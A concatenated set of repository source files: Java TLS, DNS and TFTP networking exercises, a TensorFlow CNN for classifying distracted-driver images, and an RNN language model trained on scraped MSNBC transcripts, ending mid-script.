KeyStore ks = KeyStore.getInstance("JKS"); char[] passphrase = "<PASSWORD>".toCharArray(); ks.load(new FileInputStream("server.jks"), passphrase); KeyManagerFactory kmf = KeyManagerFactory.getInstance("SunX509"); kmf.init(ks, passphrase); ctx.init(kmf.getKeyManagers(), null, null); SSLServerSocketFactory ssf = ctx.getServerSocketFactory(); SSLServerSocket ss = (SSLServerSocket)ssf.createServerSocket(port); String EnabledProtocols[] = {"TLSv1.2", "TLSv1.1"}; ss.setEnabledProtocols(EnabledProtocols); SSLSocket s = (SSLSocket)ss.accept(); BufferedReader reader = new BufferedReader(new InputStreamReader( s.getInputStream())); //InputStream in = s.getInputStream(); System.out.print(reader.readLine()); s.close(); } catch (Exception e) { e.printStackTrace(); System.err.println(e.getMessage()); } } }<file_sep>import javax.net.ssl.*; import javax.naming.InvalidNameException; import javax.naming.ldap.*; import java.security.cert.X509Certificate; class MyTLSFileClient { static String getCommonName(X509Certificate cert) throws InvalidNameException { String name = cert.getSubjectX500Principal().getName(); LdapName ln = new LdapName(name); String cn = null; for(Rdn rdn: ln.getRdns()){ if("CN".equalsIgnoreCase(rdn.getType())) { cn = rdn.getValue().toString(); } } return cn; } public static void main(String[] args) { String host = args[0]; int port = Integer.parseInt(args[1]); SSLSocketFactory factory = (SSLSocketFactory) SSLSocketFactory.getDefault(); try { SSLSocket socket = (SSLSocket) factory.createSocket(host, port); socket.startHandshake(); SSLSession sesh = socket.getSession(); X509Certificate cert = (X509Certificate)sesh.getPeerCertificates()[0]; System.out.print("Certificate Name: " + getCommonName(cert)); socket.close(); } catch (Exception e) { } } }<file_sep>import java.io.*; import java.net.*; public class Reverse { public static void main(String args[]) { // Check command properly entered and display usage if incorrect if (args.length < 1) { System.out.println("Usage: Reverse <address1> <address2> ... <addressN>"); } else { // Loop through the entered ip addresses for (int i = 0; i < args.length; i++) { String address = args[i]; try { // Get the host name for the IP address and display results InetAddress IP = InetAddress.getByName(address); System.out.println(address + " : " + IP.getHostName()); } catch (UnknownHostException e) { // Display error for unknown hosts System.err.println(address + " : unknown host"); } } } } } <file_sep>import java.net.*; import java.nio.ByteBuffer; import java.io.*; import java.util.*; public class TftpClient { byte[] file; public static byte[] unpackDataPacket(DatagramPacket p) { byte[] packetData = p.getData(); int length = p.getLength(); ByteBuffer byteBuffer = ByteBuffer.allocate(length - 2); //ignore packet type and block number byteBuffer.put(packetData, 2, length - 2); return byteBuffer.array(); } public static byte[] createAckPacket(byte block) { byte[] ackPack = new byte[2]; ackPack[0] = TftpUtility.ACK; ackPack[1] = block; return ackPack; } public static void main(String[] args) { if (args.length < 3) { System.out.println("Usage: TftpClient server_ip server_port filename"); System.exit(0); } try { InetAddress serverAddress = InetAddress.getByName(args[0]); int port = Integer.parseInt(args[1]); DatagramSocket socket = new DatagramSocket(); String fileName = args[2]; System.out.println("Connecting to " + args[0] + ":" + port); byte[] buf = new byte[514]; DatagramPacket p = TftpUtility.packRRQDatagramPacket(fileName.getBytes()); // new DatagramPacket(buf, 1472); p.setAddress(serverAddress); p.setPort(port); socket.send(p); FileOutputStream fos = new FileOutputStream("./out/" + fileName); int off = 0; boolean reading = true; System.out.println("Recieving file"); while (reading) { p = new DatagramPacket(buf, 514); socket.receive(p); Byte response = TftpUtility.checkPacketType(p); if (response == TftpUtility.ERROR) { TftpUtility.printErrorString(p); } else { byte blockNumber = TftpUtility.extractBlockSeq(p); byte[] data = unpackDataPacket(p); fos.write(data); int length = p.getLength(); p.setData(createAckPacket(blockNumber)); System.out.print("."); socket.send(p); if (length < 512) { reading = false; } } } System.out.println("\nTransfer complete"); fos.flush(); fos.close(); socket.close(); } catch (Exception e) { e.printStackTrace(); System.err.println(e.getMessage()); } finally { } } } <file_sep>import java.io.*; import java.net.*; public class SimpleClient { public static void main(String[] args) { // Check command properly entered and display usage if incorrect if (args.length != 2) { System.out.println("Usage: SimpleClient <host> <port>"); } else { try { // Get the server address as an InetAddress and store the port number as an integer InetAddress serverAddress = InetAddress.getByName(args[0]); int port = Integer.parseInt(args[1]); // Create a socket using the serverAddress and port variables to connect to the server Socket socket = new Socket(serverAddress, port); // Set up the input stream to get the response from the server BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream())); // Read the response from the server until a null is recieved indicaing a closed connection String response; while ((response = in.readLine()) != null) { System.out.println(response); } // close the connection socket.close(); } catch (IOException e) { // Display IO Exception details System.err.println("Error: " + e.getMessage()); } } } }<file_sep>Repository for code written for my BCMS
81b0f8e255f1c4e99c03cd0dba907e7031ce6d0f
[ "Markdown", "Java" ]
7
Java
TroyWest/uni
06b53b0577367235c8aba07e51b3a01d88e46ae1
7e2674906ea1769d3e7dc07c7ec6da11705c34e0
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using RestSharp; using RestSharp.Authenticators; using Newtonsoft.Json; using Newtonsoft.Json.Linq; namespace apitesting.Models { public class Location { public double lat { get; set; } public double lng { get; set; } public static Location GetLocation(string search) { var client = new RestClient("https://maps.googleapis.com/maps/api/geocode"); var request = new RestRequest("json?address=" + search + "&key=" + EnvironmentVariables.GeoCodeApi); var response = new RestResponse(); Task.Run(async () => { response = await GetResponseContentAsync(client, request) as RestResponse; }).Wait(); JObject jsonResponse = JsonConvert.DeserializeObject<JObject>(response.Content); Console.WriteLine(jsonResponse["results"][0]); var geometryList = JsonConvert.DeserializeObject<Location>(jsonResponse["results"][0]["geometry"]["location"].ToString()); Console.WriteLine(geometryList); //foreach (var geometry in geometryList) //{ // Console.WriteLine("lat: {0}", geometry.location.lat); // Console.WriteLine("lng: {0}", geometry.location.lng); //} return geometryList; } public static Task<IRestResponse> GetResponseContentAsync(RestClient theClient, RestRequest theRequest) { var tcs = new TaskCompletionSource<IRestResponse>(); theClient.ExecuteAsync(theRequest, response => { tcs.SetResult(response); }); return tcs.Task; } } } <file_sep>//using System; //using System.Collections.Generic; //using System.Linq; //using System.Threading.Tasks; //using RestSharp; //using RestSharp.Authenticators; //using Newtonsoft.Json; //using Newtonsoft.Json.Linq; //namespace apitesting.Models //{ // public class Geometry // { // public Location location { get; set; } // public static Location GetLocation(string search) // { // var client = new RestClient("https://maps.googleapis.com/maps/api/geocode"); // var request = new RestRequest("json?address=1600+Amphitheatre+Parkway,+Mountain+View,+CA&key=<KEY>"); // var response = new RestResponse(); // Task.Run(async () => // { // response = await GetResponseContentAsync(client, request) as RestResponse; // }).Wait(); // JObject jsonResponse = JsonConvert.DeserializeObject<JObject>(response.Content); // Console.WriteLine(jsonResponse["results"][0]); // var geometryList = JsonConvert.DeserializeObject<Location>(jsonResponse["results"][0]["geometry"]["location"].ToString()); // Console.WriteLine(geometryList); // //foreach (var geometry in geometryList) // //{ // // Console.WriteLine("lat: {0}", geometry.location.lat); // // Console.WriteLine("lng: {0}", geometry.location.lng); // //} // return geometryList; // } // public static Task<IRestResponse> GetResponseContentAsync(RestClient theClient, RestRequest theRequest) // { // var tcs = new TaskCompletionSource<IRestResponse>(); // theClient.ExecuteAsync(theRequest, response => { // tcs.SetResult(response); // }); // return tcs.Task; // } // } //}
27240fc4393c341e9f76071fe71b54841793adc5
[ "C#" ]
2
C#
LenaKuchko/Api-Tests
ea1c23cc1f33c12a2898116f75b5f0e7b2fa9a42
f4ca41ba3611459c0dd4a500ce8954266925f31b
refs/heads/master
<file_sep>import tensorflow as tf import tqdm import os import numpy as np import re import time import datetime # from tensorflow.examples.tutorials.mnist import input_data # mnist = input_data.read_data_sets('MNIST_data', one_hot=True) flags = tf.app.flags FLAGS = flags.FLAGS flags.DEFINE_float('learning_rate', 0.01, 'Initial Learning Rate.') flags.DEFINE_integer('num_epochs', 2000, 'Nummber of epochs to run trainer.') flags.DEFINE_integer('batch_size', 128, "Number of images in batch") flags.DEFINE_string('train_dir', os.getcwd(),"""Directory where to write event logs """) flags.DEFINE_integer('max_steps', 1000, "Number of iterations in total") MOVING_AVERAGE_DECAY = 0.9999 NUM_EPOCHS_PER_DECAY = 350.0 LEARNING_RATE_DECAY_FACTOR = 0.1 NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN = 5000 NUM_EXAMPLES_PER_EPOCH_FOR_EVAL = 100000 MAX_STEPS = 10000 train_file = "tt.tfrecords" validation_file = "yoda.tfrecords" TOWER_NAME = 'tower' NUM_CLASSES = 10 def read_and_decode(filename): reader = tf.TFRecordReader() _, serialized_example = reader.read(filename) features = tf.parse_single_example(serialized_example, features={ 'image_raw': tf.FixedLenFeature([], tf.string), 'label': tf.FixedLenFeature([10], tf.int64) }) image = tf.decode_raw(features['image_raw'], tf.uint8) depth_major = tf.reshape(image, [3, 45, 60]) img = tf.transpose(depth_major, [1, 2, 0]) img = tf.cast(img, tf.float32) img = tf.image.rgb_to_grayscale(img) distorted_image = tf.image.random_brightness(img, max_delta=63) distorted_image = tf.image.random_contrast(distorted_image, lower=0.2, upper=1.8) float_image = tf.image.per_image_whitening(distorted_image) label = features['label'] #print(label) return float_image, label def inputs(train, batch_size, num_epochs): """Reads input data num_epochs times. Args: train: Selects between the training (True) and validation (False) data. batch_size: Number of examples per returned batch. num_epochs: Number of times to read the input data, or 0/None to train forever. Returns: A tuple (images, labels), where: * images is a float tensor with shape [batch_size, mnist.IMAGE_PIXELS] in the range [-0.5, 0.5]. * labels is an int32 tensor with shape [batch_size] with the true label, a number in the range [0, mnist.NUM_CLASSES). Note that an tf.train.QueueRunner is added to the graph, which must be run using e.g. tf.train.start_queue_runners(). """ # if not num_epochs: num_epochs = None filename = os.path.join(FLAGS.train_dir,train_file if train else validation_file) with tf.name_scope('input'): filename_queue = tf.train.string_input_producer([filename]) image, label = read_and_decode(filename_queue) images, sparse_labels = tf.train.shuffle_batch( [image, label], batch_size=batch_size, num_threads=2, capacity=1000 + 3 * batch_size, min_after_dequeue=1000) return images, sparse_labels def _activation_summary(x): tensor_name = re.sub('%s_[0-9]*/' % TOWER_NAME, '', x.op.name) tf.histogram_summary(tensor_name + '/activations', x) tf.scalar_summary(tensor_name + '/sparsity', tf.nn.zero_fraction(x)) def _variable_on_cpu(name, shape, initializer): with tf.device("/cpu:0"): dtype = tf.float32 var = tf.get_variable(name, shape, initializer=initializer, dtype = dtype) return var def _variable_with_weight_decay(name, shape, stddev, wd): dtype = tf.float32 var = _variable_on_cpu(name, shape, tf.truncated_normal_initializer(stddev=stddev, dtype=dtype)) if wd is not None: weight_decay = tf.mul(tf.nn.l2_loss(var), wd, name='weight_loss') tf.add_to_collection('losses', weight_decay) return var def inference(images): ##CONVOLUTION LAYER 1 with tf.variable_scope('conv1') as scope: kernel = _variable_with_weight_decay('weights', shape = [3, 3, 1, 32], stddev=5e-2, wd = 0.0) conv = tf.nn.conv2d(images, kernel, [1, 1, 1, 1], padding='SAME') biases = _variable_on_cpu('biases', [32], tf.constant_initializer(0.0)) temp = tf.nn.bias_add(conv, biases) conv1 = tf.nn.relu(temp, name = scope.name) _activation_summary(conv1) ##MAX POOLING LAYER 1 pool1 = tf.nn.max_pool(conv1, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1], padding='SAME', name='pool1') ##NORMALIZATION LAYER 1 norm1 = tf.nn.lrn(pool1, 4, bias=1.0, alpha=0.001/9.0, beta=0.75, name='norm1') ##CONVOLUTION LAYER 2 with tf.variable_scope('conv2') as scope: kernel = _variable_with_weight_decay('weights', shape = [3, 3, 32, 64], stddev=5e-2, wd=0.0) conv = tf.nn.conv2d(norm1, kernel, [1, 1, 1, 1], padding='SAME') biases = _variable_on_cpu('biases', [64], tf.constant_initializer(0.0)) temp = tf.nn.bias_add(conv, biases) conv2 = tf.nn.relu(temp, name=scope.name) _activation_summary(conv2) ##MAX POOLING LAYER 2 pool2 = tf.nn.max_pool(conv2, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1], padding='SAME', name='pool2') ##NORMALIZATION LAYER 2 norm2 = tf.nn.lrn(pool2, 4, bias=1.0, alpha=0.001 / 9.0, beta=0.75, name='norm2') ##CONVOLUTION LAYER 3 with tf.variable_scope('conv3') as scope: kernel = _variable_with_weight_decay('weights', shape = [3, 3, 64, 64], stddev=5e-2, wd=0.0) conv = tf.nn.conv2d(norm2, kernel, [1, 1, 1, 1], padding='SAME') biases = _variable_on_cpu('biases', [64], tf.constant_initializer(0.1)) temp = tf.nn.bias_add(conv, biases) conv3 = tf.nn.relu(temp, name = scope.name) _activation_summary(conv3) ##NORMALIZATION LAYER 3 norm3 = tf.nn.lrn(conv3, 4, bias=1.0, alpha=0.001 / 9.0, beta=0.75, name='norm3') ##MAX POOLING LAYER 3 pool3 = tf.nn.max_pool(norm3, ksize = [1, 3, 3, 1], strides=[1, 2, 2, 1], padding='SAME', name='pool3') ##LOCAL 4 with tf.variable_scope('local4') as scope: reshape = tf.reshape(pool3, [FLAGS.batch_size, -1]) dim = reshape.get_shape()[1].value weights = _variable_with_weight_decay('weights', shape=[dim, 384], stddev=0.04, wd=0.004) biases = _variable_on_cpu('biases', [384], tf.constant_initializer(0.1)) local4 = tf.nn.relu(tf.matmul(reshape, weights) + biases, name=scope.name) _activation_summary(local4) ##LOCAL 5 with tf.variable_scope('local5') as scope: weights = _variable_with_weight_decay('weights', shape=[384, 192], stddev=0.04, wd=0.004) biases = _variable_on_cpu('biases', [192], tf.constant_initializer(0.1)) local5 = tf.nn.relu(tf.matmul(local4, weights) + biases, name = scope.name) _activation_summary(local5) ##softmax with tf.variable_scope('softmax_linear') as scope: weights = _variable_with_weight_decay('weights', shape=[192, NUM_CLASSES], stddev=1/192.0, wd=0.0) biases = _variable_on_cpu('biases', [NUM_CLASSES], tf.constant_initializer(0.0)) softmax_linear = tf.add(tf.matmul(local5, weights), biases, name=scope.name) _activation_summary(softmax_linear) return softmax_linear def lossfn(logits, labels): labels = tf.cast(labels, tf.int64) cross_entropy = tf.nn.softmax_cross_entropy_with_logits(logits, labels, name='cross_entropy_per_example') cross_entropy_mean = tf.reduce_mean(cross_entropy, name='cross_entropy') tf.add_to_collection('losses', cross_entropy_mean) return tf.add_n(tf.get_collection('losses'), name='total_loss') def _add_loss_summaries(total_loss): loss_averages = tf.train.ExponentialMovingAverage(0.9, name='avg') losses = tf.get_collection('losses') loss_average_op = loss_averages.apply(losses + [total_loss]) for l in losses + [total_loss]: tf.scalar_summary(l.op.name + ' (raw)', l) tf.scalar_summary(l.op.name, loss_averages.average(l)) return loss_average_op def train(total_loss, global_step): num_batches_per_epoch = NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN / FLAGS.batch_size decay_steps = int(num_batches_per_epoch * NUM_EPOCHS_PER_DECAY) lr = tf.train.exponential_decay(FLAGS.learning_rate, global_step, decay_steps, LEARNING_RATE_DECAY_FACTOR, staircase=True) tf.scalar_summary('learning_rate', lr) loss_averages_op = _add_loss_summaries(total_loss) with tf.control_dependencies([loss_averages_op]): opt = tf.train.GradientDescentOptimizer(lr) grads = opt.compute_gradients(total_loss) apply_gradient_op = opt.apply_gradients(grads,global_step = global_step) for var in tf.trainable_variables(): tf.histogram_summary(var.op.name, var) for var, grad in grads: if grad is not None: tf.histogram_summary(var.op.name, grad) variable_averages = tf.train.ExponentialMovingAverage(MOVING_AVERAGE_DECAY, global_step) variables_averages_op = variable_averages.apply(tf.trainable_variables()) with tf.control_dependencies([apply_gradient_op, variables_averages_op]): train_op = tf.no_op(name='train') return train_op def training(): with tf.Graph().as_default(): global_step = tf.Variable(0, trainable=False) images, labels = inputs(train=True, batch_size=FLAGS.batch_size, num_epochs=FLAGS.num_epochs) # images, labels = mnist.train.next_batch(FLAGS.batch_size) # images = tf.reshape(images, [-1, 28, 28, 1]) #print(labels) #print(images) logits = inference(images) #print(logits) loss_val = lossfn(logits, labels) train_op = train(loss_val, global_step) saver = tf.train.Saver(tf.all_variables()) summary_op = tf.merge_all_summaries() init = tf.initialize_all_variables() sess = tf.Session() sess.run(init) tf.train.start_queue_runners(sess=sess) summary_writer = tf.train.SummaryWriter(FLAGS.train_dir, sess.graph) #np.savetxt('harsha.txt',logits, delimiter=',', newline='\n') for step in range(MAX_STEPS): start_time = time.time() _, loss_value = sess.run([train_op, loss_val]) duration = time.time() - start_time assert not np.isnan(loss_value) if step%10 == 0: num_examples_per_step = FLAGS.batch_size examples_per_sec = num_examples_per_step/duration sec_per_batch = float(duration) format_str = ('%s: step %d, loss = %.2f (%.1f examples/sec; %.3f ' 'sec/batch)') print(format_str % (datetime.datetime.now(), step, loss_value,examples_per_sec, sec_per_batch)) if step % 100 == 0: summary_str = sess.run(summary_op) summary_writer.add_summary(summary_str, step) if step % 1000 == 0 or (step + 1) == FLAGS.max_steps: checkpoint_path = os.path.join(FLAGS.train_dir, 'model.ckpt') saver.save(sess, checkpoint_path, global_step=step) def main(argv=None): # pylint: disable=unused-argument training() if __name__ == '__main__': tf.app.run() #tensorboard --logdir=PycharmProjects/untitled <file_sep>import tensorflow as tf import csv from PIL import Image import scipy.misc import pickle import random import numpy as np from tqdm import tqdm from sklearn.cross_validation import train_test_split from time import sleep # from scipy.misc import imread, imsave # import pandas as pd flags = tf.app.flags FLAGS = flags.FLAGS # for i in tqdm(range(2000)): # sleep(0.1) def _int64_feature(value): return tf.train.Feature(int64_list=tf.train.Int64List(value=value)) def _bytes_feature(value): return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value])) filename = 'driver_imgs_list.csv' with open(filename) as csvfile: csvreader = csv.reader(csvfile, delimiter = ',') subjects = [] labelnames = [] filenames = [] for row in csvreader: subjects.append(row[0]) labelnames.append(row[1]) filenames.append(row[2]) del(filenames[0]) del(subjects[0]) del(labelnames[0]) print(filenames[0]) print(labelnames[0]) print(subjects[0]) # randomize = np.arange(len(x)) # np.random.shuffle(randomize) # # filenames = filenames[randomize] # subjects = subjects[randomize] # labelnames = labelnames[randomize] c = list(zip(filenames, subjects, labelnames)) random.shuffle(c) filenames, subjects, labelnames = zip(*c) fullnames = [] for ln, fn in zip(labelnames, filenames): fullnames.append('./imgs/train/'+ln+'/'+fn) # trainingdata = [] # # for path in tqdm(fullnames): # img = imread(path) # trainingdata.append(img) # #x_train = np.array(trainingdata) y_train = [] labelvals = {'c0':0, 'c1':1,'c2':2,'c3':3,'c4':4,'c5':5,'c6':6,'c7':7,'c8':8,'c9':9} for label in labelnames: y_train.append(labelvals[label]) temp = np.zeros((len(y_train), 10)) for i in range(len(y_train)): temp[i, y_train[i]] = 1 y_train = temp #print(list(map(int, list(y_train[2, :])))) filename_queue = tf.train.string_input_producer(fullnames, shuffle = False) reader = tf.WholeFileReader() key, value = reader.read(filename_queue) my_img = tf.image.decode_jpeg(value) init_op = tf.initialize_all_variables() desFile = "./tt.tfrecords" with tf.Session() as sess: sess.run(init_op) coord = tf.train.Coordinator() threads = tf.train.start_queue_runners(coord = coord) writer = tf.python_io.TFRecordWriter(desFile) for i in tqdm(range(len(filenames))): image = my_img.eval() image = scipy.misc.imresize(image, (60, 45)) #print(image.shape) #scipy.misc.imsave('./img.png', image) #x = raw_input() imageInString = image.tostring() # print(list(map(int, y_train[i, :].tolist()))) # print(type(y_train[i, :].tolist())) example = tf.train.Example(features=tf.train.Features(feature={'image_raw':_bytes_feature(imageInString), 'label':_int64_feature(list(map(int, list(y_train[i, :]))))})) writer.write(example.SerializeToString()) #Image._show(Image.fromarray(np.asarray(image))) writer.close() coord.request_stop() coord.join(threads)
e9c235fb7dd0de3709bb8163c62ec57e93dce874
[ "Python" ]
2
Python
Sriharsha-reddy/tf-distracted
2d0b14cede808892fecd2765c1e29b1ae4f6349a
94e1b9270abdff56626cdabba994eb455c85bb8c
refs/heads/master
<file_sep>import tensorflow as tf import numpy as np from tensorflow.python.ops import seq2seq class RNN: def __init__(self, sequence_length, batch_size, vocabulary_size, embedding_size=64, num_units=64, learning_rate=0.01, bptt_truncate=4): print "Initialize RNN:" print "[-] Vocabulary size of %s" % (vocabulary_size) print "[-] Maximum sentence length of %s" % (sequence_length) print "[-] Embedding layer size %s" % (embedding_size) print "[-] LSTM Depth %s" % (num_units) print "[+] Initializing input..." self.X = tf.placeholder(tf.int32, [batch_size, sequence_length], name="X") self.Y = tf.placeholder(tf.int32, [batch_size, sequence_length], name="Y") with tf.device('/cpu:0'), tf.name_scope("embedding"): print "[+] Initializing Embedding Layer..." self.embedding = tf.Variable(tf.random_uniform([vocabulary_size, embedding_size], -1.0, 1.0), name="W") inputs = tf.split(1, sequence_length, tf.nn.embedding_lookup(self.embedding, self.X)) inputs = [tf.squeeze(item, [1]) for item in inputs] with tf.name_scope('softmax'): print "[+] Initializing Softmax layer..." softmax_W = tf.Variable(tf.random_uniform([num_units, vocabulary_size], -1.0, 1.0), name="softmax_W") softmax_b = tf.Variable(tf.constant(0.1, shape=[vocabulary_size]), name="softmax_b") with tf.name_scope('lstm'): print "[+] Initializing LSTM layer..." cell = tf.nn.rnn_cell.LSTMCell(num_units, state_is_tuple=True) def loop(prev, next): prev = tf.matmul(prev, softmax_W) + softmax_b prev_symbol = tf.stop_gradient(tf.argmax(prev, 1)) return tf.nn.embedding_lookup(self.embedding, prev_symbol) with tf.name_scope('output'): self.initial_state = cell.zero_state(batch_size, tf.float32) self.outputs, self.final_state = seq2seq.rnn_decoder(inputs, self.initial_state, cell, loop_function=loop) # output = tf.reshape(tf.concat(1, self.outputs), [-1, num_units]) output = tf.reshape(self.outputs, [-1, num_units]) self.logits = tf.matmul(output, softmax_W) + softmax_b self.probs = tf.nn.softmax(self.logits) with tf.name_scope('loss'): print "[+] Initializing Loss layer..." loss = seq2seq.sequence_loss_by_example([self.logits], [tf.reshape(tf.concat(1, self.Y), [-1, sequence_length])], [tf.ones([batch_size * sequence_length])], vocabulary_size) self.cost = tf.reduce_sum(loss) / batch_size / sequence_length with tf.name_scope('optimization'): print "[+] Initializing Optimization layer..." self.learning_rate = tf.Variable(learning_rate, trainable=False) variables = tf.trainable_variables() gradients, _ = tf.clip_by_global_norm(tf.gradients(self.cost, variables), bptt_truncate) optimizer = tf.train.AdamOptimizer(self.learning_rate) self.train = optimizer.apply_gradients(zip(gradients, variables))<file_sep># -*- coding: utf-8 -*- import scrapy from scrapy.spiders import CrawlSpider, Rule, Request from scrapy.linkextractors import LinkExtractor from cablenews.items import StatementItem class MsnbcSpider(CrawlSpider): name = "msnbc" allowed_domains = ["www.msnbc.com"] start_urls = ( 'http://www.msnbc.com/transcripts/', ) rules = ( Rule(LinkExtractor(allow=('transcripts/*', )), callback='parse_show'), ) def parse_show(self, response): urls = response.xpath("//div[@class='item-list']//div[@class='item-list']//a//@href").extract() return [Request('http://www.msnbc.com' + url, callback=self.parse_month) for url in urls] def parse_month(self, response): urls = response.xpath("//div[@class='transcript-item']//a//@href").extract() return [Request('http://www.msnbc.com' + url, callback=self.parse_day) for url in urls] def parse_day(self, response): return self.parse_statements(response.xpath("//div[@itemprop='articleBody']//p/text()").extract()) def parse_statements(self, statements): item = StatementItem(speaker="", statement="") for statement in statements: split = statement.split(':') first = split[0] if len(split) > 1: if first and first.upper() == first: yield item item = StatementItem() item["speaker"] = first.strip() item["statement"] = ' '.join(split[1:]) else: if first and first[0] == '(': yield item item = StatementItem() item["speaker"] = '' item["statement"] = statement else: item["statement"] += ' ' + statement <file_sep># coding: utf-8 from nltk import word_tokenize, sent_tokenize, FreqDist import itertools from utils import from_csv import os.path import optparse import pickle import time import math import numpy as np class Model: UNKNOWN = 'UNKNOWN_TOKEN' START = 'START_SEQUENCE' END = 'END_SEQUENCE' def __init__(self, statements, batch_size=5000, vocabulary_size=2000, limit=0): if limit > 0: statements = statements[:limit] time_start = time.time() self.num_statements = len(statements) self.batch_ptr = 0 print "[-] Tokenizing..." tokenized = [word_tokenize(sentence) for statement in statements for sentence in sent_tokenize(sanitize(statement))] self.lengths = [len(x) for x in tokenized] print "[-] Building Vocabulary..." self.vocabulary_size = vocabulary_size frequencies = FreqDist(itertools.chain(*tokenized)) vocabulary = frequencies.most_common(vocabulary_size - 1) print "[-] Indexing tokens..." self.lookup = [x[0] for x in vocabulary] + [Model.UNKNOWN] index = dict((word, idx) for idx, word in enumerate(self.lookup)) indexed = [[index[word] if word in index else index[Model.UNKNOWN] for word in stmt] for stmt in tokenized] print "[-] Padding sequences..." self.max_length = max(self.lengths) self.padded = [list(itertools.chain(sequence, [0] * int(max(self.lengths) - len(sequence)))) for sequence in indexed] print "[-] Batches:", self.batch_size = min(len(self.padded), batch_size) self.num_batches = int(math.ceil(self.num_statements / batch_size)) print "%s batches of size %s" % (self.num_batches, self.batch_size) time_diff = time.time() - time_start print "Parsed %s sentences in %s seconds" % (len(self.padded), time_diff) def translate(self, words): return ' '.join([self.lookup[x] for x in words]) def batch(self, batch_ptr): start = self.batch_size * batch_ptr end = self.batch_size * (batch_ptr + 1) batch = self.padded[start:end] print "Generating batch from %s to %s, %s rows returned" % (start, end, len(batch)) x = np.vstack([np.array(sequence[:-1]) for sequence in batch]) y = np.vstack([np.array(sequence[1:]) for sequence in batch]) print "Shape: [%s, %s]" % (x.shape, y.shape) return x, y def save(self, path): print "[-] Pickling..." pickle.dump(self, open(path, 'w')) def restore(path): print "[-] Loading model..." assert os.path.exists(path), "Model file not found." time_start = time.time() model = pickle.load(open(path, 'rb')) time_diff = time.time() - time_start print "[-] Imported %s sentences in %s seconds" % (len(model.padded), time_diff) print '\a' return model def create(path, limit=0, batch_size=500, vocabulary_size=2000): return Model(from_csv(path), limit=limit, batch_size=batch_size, vocabulary_size=vocabulary_size) def sanitize(statement): result = unicode(statement[2], 'utf-8').lower().encode('ascii', 'ignore') # result = unicode(result.lower(), 'utf-8') return result <file_sep>from utils import from_csv import os.path import optparse import pickle from model import Model parser = optparse.OptionParser() parser.add_option("-p", "--pickle", dest="pickle", help="Pickle file for existing model") parser.add_option("-c", "--csv", dest="filename", help="CSV Input for Language Model") parser.add_option("-o", "--output", dest="output", help="Path for serialized output") parser.add_option("-r", "--rnn", dest="rnn", default=False, help="Build RNN to this path") options, args = parser.parse_args() assert os.path.exists(options.filename), "No input file found" data = from_csv(options.filename, lambda x: x[1] + ": " + x[2]) model = None if options.pickle: assert os.path.exists(options.pickle), "No input file found" model = Model(pickle=options.pickle) else: model = Model(data) print model.lookup print model.index if options.rnn: rnn = RNN(model) if options.output: pickle.dump(model, open("./models/" + options.output + ".pickle", 'w'))<file_sep>csv: scrapy crawl msnbc -o "./csv/msnbc.csv" -t csv model: python ./language/train.py --csv "./csv/msnbc.csv" --checkpoint "./checkpoints/msnbc.rnn" sample: python ./language/train.py --csv "./csv/msnbc.csv" --checkpoint "./checkpoints/msnbc.rnn" --num_epochs 0 small: python ./language/train.py --limit 5000 --batch_size 1000 --vocabulary_size 300 --csv "./csv/msnbc.csv" --output "./checkpoints/small.rnn" medium: python ./language/model.py --limit 10000 --csv "./csv/msnbc.csv" --output "./models/medium.model" large: python ./language/model.py --limit 100000 --csv "./csv/msnbc.csv" --output "./models/large.model"<file_sep>from model import restore, Model import optparse import os.path import tensorflow as tf import numpy as np from rnn import RNN parser = optparse.OptionParser() parser.add_option("-m", "--model", dest="model", help="Pickle file for existing model") parser.add_option("-c", "--checkpoint", dest="checkpoint", help="Checkpoint file for RNN") options, args = parser.parse_args() model = None assert os.path.exists(options.model), "Model not found" print "[+] Importing language model" language_model = restore(options.model) sequence_length = language_model.max_length - 1 with tf.Graph().as_default(): sess = tf.Session(config=tf.ConfigProto(allow_soft_placement=True)) with sess.as_default(): rnn = RNN(sequence_length=sequence_length, batch_size=language_model.batch_size, vocabulary_size=language_model.vocabulary_size) sess.run(tf.global_variables_initializer()) print "[-] Restoring model checkpoint..." saver = tf.train.import_meta_graph("{}.meta".format(options.checkpoint)) saver.restore(sess, options.checkpoint) print "[-] Done." probs, state = sess.run([rnn.probs, rnn.final_state], feed_dict={ rnn.X : np.zeros([language_model.batch_size, sequence_length])}) while len(raw_input('Would you like to generate a sample? (Say nothing to proceed, anything to stop):')) == 0: print language_model.translate([int(np.searchsorted(np.cumsum(p), np.random.rand(1)*np.sum(p))) for p in probs[0:sequence_length]])<file_sep>from model import create, Model import optparse import os.path import tensorflow as tf import numpy as np from rnn import RNN import time from flask import Flask app = Flask(__name__) parser = optparse.OptionParser() parser.add_option("-c", "--csv", dest="csv", help="CSV file for model") parser.add_option("-l", "--limit", dest="limit", help="Limit number of CSV rows processed", type="int") parser.add_option("-x", "--checkpoint", dest="checkpoint", help="Checkpoint file for RNN", default=None) parser.add_option("-o", "--output", dest="output", help="Output file for RNN", default=None) parser.add_option("-r", "--learning_rate", dest="learning_rate", default=0.001, help="Learning Rate", type="int") parser.add_option("-n", "--num_epochs", dest="num_epochs", default=3, help="Number of Epochs", type="int") parser.add_option("-e", "--save_every", dest="save_every", default=3, help="Save a checkpoint every N epochs", type="int") parser.add_option("-v", "--vocabulary_size", dest="vocabulary_size", default=2000, help="Vocabulary size for model", type="int") parser.add_option("-b", "--batch_size", dest="batch_size", default=500, help="Batch size for training", type="int") options, args = parser.parse_args() assert os.path.exists(options.csv), "Model not found" language_model = create(options.csv, options.limit, options.batch_size, options.vocabulary_size) with tf.Graph().as_default(): sess = tf.Session(config=tf.ConfigProto(allow_soft_placement=True)) with sess.as_default(): rnn = RNN(sequence_length=language_model.max_length - 1, batch_size=language_model.batch_size, vocabulary_size=language_model.vocabulary_size, learning_rate=options.learning_rate) sess.run(tf.global_variables_initializer()) saver = tf.train.Saver(tf.global_variables(), max_to_keep=1) if options.checkpoint is not None and os.path.exists(options.checkpoint): saver = tf.train.import_meta_graph("{}.meta".format(options.checkpoint)) saver.restore(sess, options.checkpoint) for epoch in range(options.num_epochs): for batch in range(language_model.num_batches): start = time.time() x, y = language_model.batch(batch) feed_dict = { rnn.X : np.array(x), rnn.Y : np.array(y) } train_loss, state, _ = sess.run([rnn.cost, 